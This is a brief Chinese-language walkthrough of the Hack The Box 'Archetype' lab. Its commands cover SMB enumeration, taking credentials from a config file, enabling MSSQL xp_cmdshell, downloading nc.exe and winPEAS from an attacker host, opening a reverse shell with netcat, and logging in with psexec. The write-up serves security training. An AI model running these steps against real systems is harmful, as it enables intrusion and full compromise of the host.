HTB- Archetype

端口扫描

Copy
 
nmap -sV -sT 10.129.1.1

smbclint

Copy
smbclient -L 10.129.149.214

获取密码

Copy
smbclient  //10.129.149.214/backups
get prod.dtsConfig 

连接数据库

Copy
sudo  impacket-mssqlclient sql_svc@10.129.149.214 -windows-auth

开启xp_cmdshell#

Copy
enable_xp_cmdshell
RECONFIGURE

上传nc和提权工具

Copy
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads;wget http://10.10.15.72/winPEAS.bat -outfile winPEAS.bat"
 
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads;wget http://10.10.15.72/nc.exe -outfile nc.exe"
 
 

开启nc监听 clinet运行nc

Copy
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads;.\nc.exe -e cmd.exe 10.10.15.72  4444"
 

获取user flag

运行./winPEAS.bat

掉线后重新连接，查询历史记录（等待SQL显示output）

账号密码登录

Copy
sudo psexec.py administrator@10.129.149.214

读取root.txt